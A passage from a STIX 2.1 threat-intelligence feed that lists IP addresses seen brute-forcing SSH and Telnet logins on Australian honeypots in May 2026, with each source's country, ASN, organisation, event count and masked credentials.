      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group.",
      "id": "indicator--4bc58221-c31e-4d12-8ce0-809d903224a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.244.184.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T13:15:11.000Z",
      "valid_until": "2026-06-25T13:15:08.000Z"
    },
    {
      "created": "2026-05-24T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--4bce2f44-30a7-4d22-aff7-bbb40196780e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.54.50.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T13:15:11.000Z",
      "valid_until": "2026-06-25T13:15:08.000Z"
    },
    {
      "created": "2026-05-24T13:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--13f45dac-bb76-4749-a376-afafbab93e4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.110.163.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T13:15:11.000Z",
      "valid_until": "2026-06-25T13:15:08.000Z"
    },
    {
      "created": "2026-05-24T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 49800. Organisation(s): GNC-Alfa CJSC.",
      "id": "indicator--1fe54c4e-411c-4464-af67-3e3092fb8bbe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.186.114.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T13:15:11.000Z",
      "valid_until": "2026-06-25T13:15:08.000Z"
    },
    {
      "created": "2026-05-24T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 266704. Organisation(s): TELEVISION ORIENTADA S.A..",
      "id": "indicator--2246ba4b-e468-4a27-9631-6faf08de4e3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.229.38.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T13:15:11.000Z",
      "valid_until": "2026-06-25T13:15:08.000Z"
    },
    {
      "created": "2026-05-24T13:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 77. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): **, d********r, p****a. Passwords observed (masked): **, d********r, p****a.",
      "id": "indicator--6e391c63-0d03-479a-81f3-4bfcb8debc6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.78.204.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T13:15:11.000Z",
      "valid_until": "2026-06-25T13:15:08.000Z"
    },
    {
      "created": "2026-05-24T13:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 42831. Organisation(s): UK Dedicated Servers Limited. Usernames observed (masked): r**t, u****u, 3**********4, d*********n, m*****l. Passwords observed (masked): ***, 1*********#, 3***********4, 3**********4, A******0.",
      "id": "indicator--651a0a88-e7b5-4249-a43a-1b1aa8fab396",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.181.124.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T13:15:11.000Z",
      "valid_until": "2026-06-25T13:15:08.000Z"
    },
    {
      "created": "2026-05-24T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--6a0d0e6f-3796-4703-88d0-e8cb3b2e6560",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.52.107.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T13:15:11.000Z",
      "valid_until": "2026-06-25T13:15:08.000Z"
    },
    {
      "created": "2026-05-24T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 56401. Organisation(s): Pe mirtelekom.",
      "id": "indicator--c3c47d6b-7dcd-4466-907c-d573930aff27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.225.171.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T13:15:11.000Z",
      "valid_until": "2026-06-25T13:15:08.000Z"
    },
    {
      "created": "2026-05-24T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KE. ASN(s): 329278. Organisation(s): truehostcloud. Usernames observed (masked): u**r. Passwords observed (masked): k******h.",
      "id": "indicator--dcd9aac5-8b96-4ee5-ae95-93946542081d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.212.246.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T14:15:11.000Z",
      "valid_until": "2026-06-25T14:15:08.000Z"
    },
    {
      "created": "2026-05-24T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): k******h, r**t. Passwords observed (masked): P***********6, c*********3.",
      "id": "indicator--cb3a5e4e-4da5-4765-b3e6-14cd173e37a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.118.245.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T14:15:11.000Z",
      "valid_until": "2026-06-25T14:15:08.000Z"
    },
    {
      "created": "2026-05-24T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 140917. Organisation(s): ERA TRADERS. Usernames observed (masked): r**t, 3**********4, d****y, f*****r, k***n. Passwords observed (masked): 1****6, 1*******9, 3***********4, 3**********4, A********5.",
      "id": "indicator--ba96e27c-a2e7-429a-8c59-35a759f23a07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.153.110.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T14:15:11.000Z",
      "valid_until": "2026-06-25T14:15:08.000Z"
    },
    {
      "created": "2026-05-24T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 55688. Organisation(s): PT. Beon Intermedia. Usernames observed (masked): r**t, 3**********4, s*****t, v**d. Passwords observed (masked): 1****6, 3***********4, 3**********4, R******3, a**a.",
      "id": "indicator--b270f7e7-1cfd-4d81-8869-138e7304a9fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.56.148.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T14:15:11.000Z",
      "valid_until": "2026-06-25T14:15:08.000Z"
    },
    {
      "created": "2026-05-24T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--e1d3ceb5-5293-419e-b864-504a0bf4bed4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.175.212.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T14:15:11.000Z",
      "valid_until": "2026-06-25T14:15:08.000Z"
    },
    {
      "created": "2026-05-24T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 9595. Organisation(s): NTT-ME Corporation.",
      "id": "indicator--a6f3f780-3645-4be6-96a6-13596fe61dcc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.65.84.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T14:15:11.000Z",
      "valid_until": "2026-06-25T14:15:08.000Z"
    },
    {
      "created": "2026-05-24T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): u**r. Passwords observed (masked): K******h.",
      "id": "indicator--204317f2-4d3f-44ed-a4ca-343318c2701b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '146.190.88.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T14:15:11.000Z",
      "valid_until": "2026-06-25T14:15:08.000Z"
    },
    {
      "created": "2026-05-24T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 135161. Organisation(s): GMO-Z com NetDesign Holdings Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): K**********3.",
      "id": "indicator--e8d5da3c-79f8-4ff3-9fee-74800478ffee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '150.95.81.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T14:15:11.000Z",
      "valid_until": "2026-06-25T14:15:08.000Z"
    },
    {
      "created": "2026-05-24T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 7418. Organisation(s): TELEFONICA CHILE S.A..",
      "id": "indicator--456277d0-9b36-4ae8-88d2-015583337fc1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.174.11.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T14:15:11.000Z",
      "valid_until": "2026-06-25T14:15:08.000Z"
    },
    {
      "created": "2026-05-24T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): .********h.",
      "id": "indicator--ae9a3a75-4244-4f92-8484-6a8bd2924bbb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.128.61.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T14:15:11.000Z",
      "valid_until": "2026-06-25T14:15:08.000Z"
    },
    {
      "created": "2026-05-24T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): k******h, r**t. Passwords observed (masked): A*******3, K***********..",
      "id": "indicator--82380b05-3eca-4e0c-b7fd-e5467c75654b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.217.126.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T14:15:11.000Z",
      "valid_until": "2026-06-25T14:15:08.000Z"
    },
    {
      "created": "2026-05-24T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 214882. Organisation(s): Hadi Santosa. Usernames observed (masked): a***n, r**t. Passwords observed (masked): K***********6, P*********3.",
      "id": "indicator--6e366db1-c76e-496b-b84d-159298d0490a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.88.211.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T14:15:11.000Z",
      "valid_until": "2026-06-25T14:15:08.000Z"
    },
    {
      "created": "2026-05-24T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--0da22bdb-13cf-42c1-9d16-f3f932daaa77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '3.148.244.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T14:15:11.000Z",
      "valid_until": "2026-06-25T14:15:08.000Z"
    },
    {
      "created": "2026-05-24T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--ce0dcd07-cb30-49a4-8fca-d78e9745ed63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '3.16.151.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T14:15:11.000Z",
      "valid_until": "2026-06-25T14:15:08.000Z"
    },
    {
      "created": "2026-05-24T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--805b192c-8192-4240-b679-1f6a66f54027",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '40.124.172.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T14:15:11.000Z",
      "valid_until": "2026-06-25T14:15:08.000Z"
    },
    {
      "created": "2026-05-24T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: NG. ASN(s): 29091. Organisation(s): IPNXng.",
      "id": "indicator--ef07f57f-acaf-49e5-9f79-f79c89cb45a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.184.168.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T14:15:11.000Z",
      "valid_until": "2026-06-25T14:15:08.000Z"
    },
    {
      "created": "2026-05-24T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 58232. Organisation(s): Parsun Network Solutions PTY LTD. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--b44a5247-bd00-465b-a6f6-8cfa98314780",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.135.195.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T14:15:11.000Z",
      "valid_until": "2026-06-25T14:15:08.000Z"
    },
    {
      "created": "2026-05-24T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): #********h.",
      "id": "indicator--3e033060-dfbf-4f48-af26-7f514a08a33b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.6.41.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T14:15:11.000Z",
      "valid_until": "2026-06-25T14:15:08.000Z"
    },
    {
      "created": "2026-05-24T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): t**t. Passwords observed (masked): k***********6.",
      "id": "indicator--18483ac9-8223-4747-811c-d696369d67f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.17.96.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T14:15:11.000Z",
      "valid_until": "2026-06-25T14:15:08.000Z"
    },
    {
      "created": "2026-05-24T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 35753. Organisation(s): Etihad Salam Telecom CJSC.",
      "id": "indicator--6a1010b8-824b-46b2-a502-606fd891f9fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.167.219.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T14:15:11.000Z",
      "valid_until": "2026-06-25T14:15:08.000Z"
    },
    {
      "created": "2026-05-24T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--3e6f0ca7-8b69-46e6-b94c-c9f587c91f1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.33.12.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T15:15:11.000Z",
      "valid_until": "2026-06-25T15:15:08.000Z"
    },
    {
      "created": "2026-05-24T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--b07d2440-9641-455c-90fe-bedf9a1b012e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.5.180.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T15:15:11.000Z",
      "valid_until": "2026-06-25T15:15:08.000Z"
    },
    {
      "created": "2026-05-24T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, ***, 3**********4. Passwords observed (masked): 1**1, 3***********4, 3**********4, A*******1, M*********m.",
      "id": "indicator--ad0acb12-13b0-495b-8403-520181585b0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '129.226.4.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T15:15:11.000Z",
      "valid_until": "2026-06-25T15:15:08.000Z"
    },
    {
      "created": "2026-05-24T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, g**d, p******s, t***1. Passwords observed (masked): ***, 1*3@.com, 3***********4, 3**********4, T********#.",
      "id": "indicator--aac177d3-01b8-47a4-9862-a9a3de6d0131",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.55.144.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T15:15:11.000Z",
      "valid_until": "2026-06-25T15:15:08.000Z"
    },
    {
      "created": "2026-05-24T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): b********r, **, r**t. Passwords observed (masked): 1**4, 1******x, **.",
      "id": "indicator--e58db47a-df56-4bc8-9bc1-4dc1f4930ded",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.163.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T15:15:11.000Z",
      "valid_until": "2026-06-25T15:15:08.000Z"
    },
    {
      "created": "2026-05-24T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System.",
      "id": "indicator--3ed2f03c-9b89-43ac-a1fa-5b322686d2af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.125.60.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T15:15:11.000Z",
      "valid_until": "2026-06-25T15:15:08.000Z"
    },
    {
      "created": "2026-05-24T15:15:11.000Z",
